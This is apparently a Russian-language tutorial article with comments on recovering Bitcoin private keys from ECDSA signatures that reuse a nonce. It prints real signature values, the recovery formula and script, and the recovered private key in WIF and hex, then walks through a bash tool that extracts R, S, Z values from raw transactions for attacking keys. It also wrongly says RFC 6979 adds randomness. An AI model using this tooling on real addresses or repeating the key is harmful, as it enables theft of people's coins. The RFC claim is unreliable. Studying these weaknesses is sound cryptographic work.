В этой статье мы поговорим о извлечение значений подписи ECDSA R, S, Z
из блокчейна Биткойн, но для начало вспомним о самой первой серьезной уязвимости в транзакции блокчейн которую обнаружил Нильс Шнайдер (Nils Schneider
он же – tcatm)
Биткоин-разработчик и владелец "BitcoinWatch" & "BitcoinCharts".
25 декабря 2012 года Нильс обнаружил потенциальную слабость в некоторых транзакциях блокчейна Биткойна.
Посмотрите на эту транзакцию:
transaction:
9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1
input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
Эта транзакция имеет два входа и один выход.
Если вы внимательно посмотрите на два входных скрипта, то заметите, что в начале и в конце есть довольно много одинаковых байтов.
Эти байты в конце представляют собой закодированный в шестнадцатеричном формате публичный ключ адреса, на который расходуются монеты, так что в этом нет ничего плохого.
Однако первая половина скрипта — это фактическая подпись (r, s)
:
r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
Как видите,
r1
равноr2
. Это огромная проблема.
Мы сможем восстановить закрытый ключ на этот публичный ключ:
04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
Для этого мы можем воспользоваться простой формулой из школьной алгебры ;)
private key = (z1*s2 - z2*s1)/(r*(s1-s2))
Нам просто нужно найти z1
и z2
Это хэши
выходов, которые нужно подписать. Давайте получим выходные транзакции и посчитаем их (вычисляется OP_CHECKSIG
):
z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
Далее упакуем все эти значение в один Python-скрипт: vulnerabilityR.py
p
— это всего лишь порядок G
, параметра кривой secp256k1
, используемой Биткойном.
Создадим поле для наших вычислений:
K = GF(p)
K((z1*s2 - z2*s1)/(r*(s1-s2)))
Запускаем скрипт: python3 vulnerabilityR.py
Далее наш скрипт: vulnerabilityR.py вычислит закрытый ключ в этом поле:
ADDR: 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm
WIF: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
hex: c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
Закрытый ключ найден!
https://www.blockchain.com/btc/address/1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm
Конечно же, разработчики Биткоина устранили эту уязвимость внедрив детерминированные функции.
Эта функция
RFC 6979
вносит в подпись Биткоина элемент случайности, что усиливает криптостойкость транзакцииECDSA
Document [PDF]
: RFC 6979: Deterministic Usage of the Digital Signature Algorithm (DSA) and Elliptic Curve Digital Signature Algorithm (ECDSA)
Как мы знаем на практике в блокчейне Биткоина есть совершенно другие уязвимые транзакции.
Ранее мы опубликовали
статью
: «Одна слабая транзакция в ECDSA в блокчейне Биткоина и с помощью Lattice Attack мы получили Private Key к монетам BTC»
Теперь давайте самостоятельно получим публичный ключ Bitcoin
ECDSA
и значение R, S, Z
из файла «RawTX.json» (который мы получили в 01BlockchainGoogleDrive )
Для этого воспользуемся Терминалом для Google Colab [TerminalGoogleColab]
Ранее я записывал видеоматериал: «TERMINAL в Google Colab создаем все удобства для работ в GITHUB»
Давайте перейдем по репозитории «CryptoDeepTools» для детального криптоанализа и разберем в детали работу Bash-скрипта: getsign.sh
И так давайте разберем в детали всю работу Bash-скрипта: getsign.sh
cat RawTX.json > index.json
Делаем копию файла RawTX.json
в новый файл index.json
for run in {1..4}; do
Открываем ЦИКЛ
так как в файле index.json
4 строк берем {1..4}
export LINE=1 ; sed -n "${LINE}p" index.json > index2.json
Утилита export
берет строку №1 и сохраняет в новом файле index2.json
sed -i '1d' index.json
Утилита sed
удаляет строку №1 из файла index.json
python3 fileopen.py
Запускаем Python-скрипт fileopen.py
и с успешно создает новый Bash-скрипта: signscript.sh
chmod +x signscript.sh
./signscript.sh
Получаем права на Bash-скрипт: signscript.sh
В результате запускается Python-скрипт breakECDSA.py который в итоге извлекает из
RawTX
значениеR, S, Z
и публичный ключ BitcoinВсе это сохраняется в файл:
"signatures.json"
rm signscript.sh
rm fileopen.py
Утилита rm
удаляет Python-скрипт fileopen.py
и успешно создает новый Bash-скрипта: signscript.sh
done
В итоге все завершится после 4-х циклов
rm index.json
Цикл закрывается и утилита rm
удаляет index.json
Bash-скрипт: getsign.sh Завершает работу!
Теперь мы научились:
Получать публичный ключ
Bitcoin
изECDSA
Получать значение
R, S, Z
изECDSA
Применить это для
криптоанализа
Исходный код: https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/BYd-cuFRZmM
Источник: https://cryptodeep.ru/break-ecdsa-cryptography
mayorovp
Так в чём уязвимость-то?
vassabi
насколько я понял, уязвимость в том, что для таких параметров можно вычислить ключ, которым биткойны переводятся с этих адресов - в заметке вверху написано, что так уже увели 59 BTC (на момент 28 декабря 2013 года)
mayorovp
Для каких параметров?
antonblockchain
пары ключей приватный и публичный не одинаково сильные.
есть слабые пары ключей.
в статье метод проверки пар ключей на слабость.
после этого проверяешь все публичные ключи в которых что-то есть в блокчейне на слабость.
и информируешь владельца слабой пары ключей что ключи у него слабые.
единственно вот этого делать не надо «Проверяем закрытый ключ на сайте bitaddress.»
а надо сгенерировать из закрытого ключа открытый самостоятельно.
потому что после проверки у сайта будет пара открытых и закрытых ключей.
а это не очень хорошо.
mayorovp
"Запустить скрипт" — это точно метод проверки? Меня больше интересует что скрипт делает...